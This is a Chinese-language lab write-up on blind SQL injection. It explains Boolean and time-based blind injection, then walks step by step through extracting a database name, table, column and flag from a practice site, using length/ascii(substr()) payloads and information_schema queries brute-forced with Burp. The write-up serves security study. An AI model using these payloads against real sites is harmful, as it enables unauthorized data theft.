1.概念
盲注:有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
盲注种类:
- 布尔盲注:根据注入信息返回Ture或者flase,无之前类似的报错信息
- 时间盲注:无论输入任何值,返回信息都会按照正常情况处理,加入特定的时间函数,通过web页面的返回时间差来判断注入的语句是否正确
常用的函数:
- length():返回字符串的长度
- substr():截取字符串
- ord()/ascii():返回字符串的ascii码
2.靶场
1)测试是否存在sql注入
使用and 1=1 和 and 1=2测试
确认存在sql注入
2)判断字段数
使用order by
存在两个字段数
3)尝试显错注入爆库
显错注入爆库发现无回显
4)使用盲注猜
涉及函数:
- length():字符串长度
- substr():截取字符串;substr(截取的内容,截取的位数,截取的个数)
- ascii():编码函数
a.使用length(database())爆出数据库的长度
数据库名长度为12
b.使用ascii(substr(database(),1,1))=97payload,使用burp抓包爆破
设置跑包参数
c.根据attack结果,得到库名1-12位的ASCII码为107,97,110,119,111,108,111,110,103,120,105,97.通过查对应的ASCII码可以得到库名为 kanwolongxia
4)判断表名
a.先判断表名长度
and length((select table_name from information_schema.tables where table_schema=‘kanwolongxia’ limit 0,1))=6,得到数据库中某一表名长度为6
b.参照跑数据库名的方式,使用and ascii(substr((select table_name from information_schema.tables where table_schema=‘kanwolongxia’ limit 0,1),1,1))=100用burp继续跑包,得到表名1-6的ascii码为108,111,102,108,97,103,通过查对应的ASCII码可以得到表名为loflag
5)判断字段名
a.先判断字段名长度,使用and length((select column_name from information_schema.columns where table_name=‘loflag’ limit 1,1))=6得到字段名长度为6
b.参照跑数据库名的方式,使用and ascii(substr((select column_name from information_schema.columns where table_name=‘loflag’ limit 1,1),1,1))=100用burp继续跑包,得到字段名1-6的ascii码为102,108,97,103,108,111,通过查对应的ASCII码可以得到字段名为flaglo
6)查询flag
a.先判断数据长度,使用and length((select flaglo from loflag limit 0,1))=8,可以确定数据的长度为8
b.参照跑数据库名的方式,使用and ascii(substr((select flaglo from loflag limit 0,1),1,1))=100用burp继续跑包,得到数据1-6的ascii码为122,75,97,81,45,81,81,81,通过查对应的ASCII码可以得到数据为zKaQ-QQQ